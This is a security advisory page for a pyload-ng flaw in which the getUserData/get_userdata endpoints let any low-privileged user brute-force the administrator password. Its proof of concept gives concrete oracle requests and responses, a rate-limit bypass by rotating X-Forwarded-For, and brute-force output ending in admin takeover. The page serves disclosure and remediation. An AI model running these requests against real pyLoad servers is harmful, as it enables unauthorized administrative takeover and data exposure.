pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password
GHSA-68w4-83fh-f2w8 · published 9 Oct 2026
How serious is it
- Severity: high, CVSS score 8.1 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by GHSA-68w4-83fh-f2w8?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
pyload-ng(PyPI) >= 0.5.0b3.dev1, <= 0.5.0b3.dev101
How to check
- Run
pip show pyload-ngin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- No fixed version of
pyload-ngyet. Replace or remove it, or apply the workaround in the advisory below. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
`Api.getUserData` (legacy) and `Api.get_userdata` are declared with `@permission(Perms.ANY)` and are reachable at `/api/getUserData` and `/api/get_userdata`. Because `Perms.ANY == 0` and pyLoad's permission check is a bitmask AND, that gate is a no-op: **every authenticated account passes, including one holding zero permission bits.**
Both methods are thin wrappers around `check_auth()`, which the maintainers deliberately restricted to administrators by omitting `@permission` (no entry in `perm_map`, so `is_authorized()` returns `False` for non-admins). The wrappers undo that protection.
An attacker holding the lowest-privileged account in the system therefore has a clean binary oracle on the **administrator password**, with no account lockout anywhere in the codebase, and with the 100 req/min rate limiter bypassable by rotating `X-Forwarded-For`.
## Affected code
`src/pyload/core/api/__init__.py:1446` and `:1464`
```python
#: Old API
@permission(Perms.ANY)
@get
def getUserData(self, username: str, password: str) -> OldUserData:
"""
similar to `check_auth` but returns UserData type.
"""
user = self.check_auth(username, password)
...
@permission(Perms.ANY)
@get
def get_userdata(self, username: str, password: str) -> UserData:
user = self.check_auth(username, password)
...
```
## Root cause
`src/pyload/core/api/__init__.py:57`
```python
class Perms(IntFlag):
ANY = 0 #: requires no permission, but login
```
`src/pyload/core/api/__init__.py:108`
```python
def has_permission(user_perms: Perms, required_perms: Perms):
return required_perms == (user_perms & required_perms)
```
For `required_perms == 0` this evaluates to `0 == (user_perms & 0)` → `0 == 0` → **always `True`**. The `@permission(Perms.ANY)` gate therefore admits every authenticated principal regardless of which permission bits they hold.
Contrast with the intended admin-only primitive, `src/pyload/core/api/__init__.py:1396`:
```python
@legacy("checkAuth")
@get
def check_auth(self, username: str, password: str) -> dict[str, Any]:
```
`check_auth` has **no** `@permission`; `is_authorized()` at `api/__init__.py:1430` returns `False` for non-admins. The two wrappers carry `Perms.ANY` and restore access for everyone.
Because both wrappers also carry `@get`, they are placed in `method_map` and are directly routable via `/api/<func>`.
## Amplifiers
**1. No lockout.** There is no failed-login counter, delay, or ban anywhere in the codebase. A failed guess costs the attacker only one PBKDF2 computation.
**2. Rate limiting is bypassable.** `/api/*` applies `rate_limit(count=100, period=60)` (`src/pyload/webui/app/blueprints/api_blueprint.py:25`), which buckets on a fully client-controlled header (`src/pyload/webui/app/helpers.py:446`):
```python
client_ip = flask.request.headers.get("X-Forwarded-For", "").split(",")[0].strip() \
or flask.request.remote_addr
```
Rotating `X-Forwarded-For` per request yields a fresh bucket each time. Notably, `is_loopback_request()` in the **same file** (`helpers.py:288-294`) explicitly treats the presence of `X-Forwarded-For` / `X-Real-IP` / `Forwarded` as untrustworthy — the same guard was evidently not applied inside `rate_limit()`.
## Impact
Online brute force of the administrator account leading to full administrative takeover. A successful response additionally discloses the target account's `id`, `name`, `email`, `role`, and `permission` bits.
## Proof of concept
Verified against 0.5.0b3, commit `a5b008958`.
Setup: stock instance with admin `pyload`, plus a non-admin user `bob` created with `role=USER` and `permission=0`.
**Step 1 — establish that `bob` is genuinely unprivileged:**
```
GET /api/checkAuth?username=pyload&password=pyload -> 401 {"error": "Access denied"}
GET /api/getAllUserData -> 401 {"error": "Access denied"}
```
**Step 2 — the flaw. Same user, same session, `Perms.ANY` gate:**
```
GET /api/getUserData?username=pyload&password=WRONG
-> 200 {"name": null, "email": null, "role": null, "permission": null, "template_name": null}
GET /api/getUserData?username=pyload&password=pyload
-> 200 {"name": "pyload", "email": "", "role": 0, "permission": 0, "template_name": "default"}
```
`role: 0` is `Role.ADMIN`. `get_userdata` behaves identically. This is a perfect yes/no oracle.
**Step 3 — measured brute force and recovery.** Run as `bob` (`permission = 0`), admin password set to a 2-character value, `X-Forwarded-For` rotated on every request:
```
attempts : 667
elapsed : 39.7s (16.8 guesses/sec)
429 rate-limits : 0
account lockout : NONE - same session authenticated throughout
RECOVERED SECRET : 'zq' (true value 'zq') match=True
```
**Step 4 — full takeover with the recovered secret:**
```
POST /login as pyload/<recovered> -> HTTP 302 (authenticated as admin)
GET /api/getAllUserData (admin-only) -> HTTP 200 (full user dump)
```
Measured throughput is 17-47 guesses/sec/thread. The only bound is PBKDF2-HMAC-SHA256 at 100,000 iterations in `src/pyload/core/database/user_database.py:14`, not any rate limit.
## Suggested remediation
- Remove `@permission(Perms.ANY)` from `getUserData` and `get_userdata`, or drop them entirely — they are legacy compatibility shims, and modern callers already use the admin-only `check_auth`.
- Structurally: `Perms.ANY = 0` makes `has_permission()` vacuous, so **any** method decorated `@permission(Perms.ANY)` silently becomes public to every logged-in user. Give `ANY` a real bit value, or handle it explicitly in `has_permission()` as "requires an authenticated session".
- Do not trust `X-Forwarded-For` unless a trusted-proxy deployment is explicitly configured. Otherwise bucket `rate_limit()` on `request.remote_addr`, or add the same guard `is_loopback_request()` already uses.
- Add per-account failed-authentication throttling or lockout.
- …
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/pyload/pyload/security/advisories/GHSA-68w4-83fh-f2w8
- github.com/pyload/pyload/commit/b99d2a2f06135363ceb0aab16aac5025f138e658
- github.com/advisories/GHSA-68w4-83fh-f2w8
Merged from GitHub Advisory Database. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON